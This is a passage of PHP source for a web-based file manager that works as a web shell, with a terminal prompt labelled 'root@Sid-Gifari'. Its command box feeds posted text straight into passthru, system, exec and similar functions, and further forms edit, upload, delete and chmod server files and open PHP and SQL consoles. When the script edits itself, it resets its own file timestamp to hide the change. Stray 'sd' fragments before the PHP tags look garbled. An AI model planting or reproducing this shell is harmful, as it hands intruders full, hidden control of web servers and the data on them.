'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
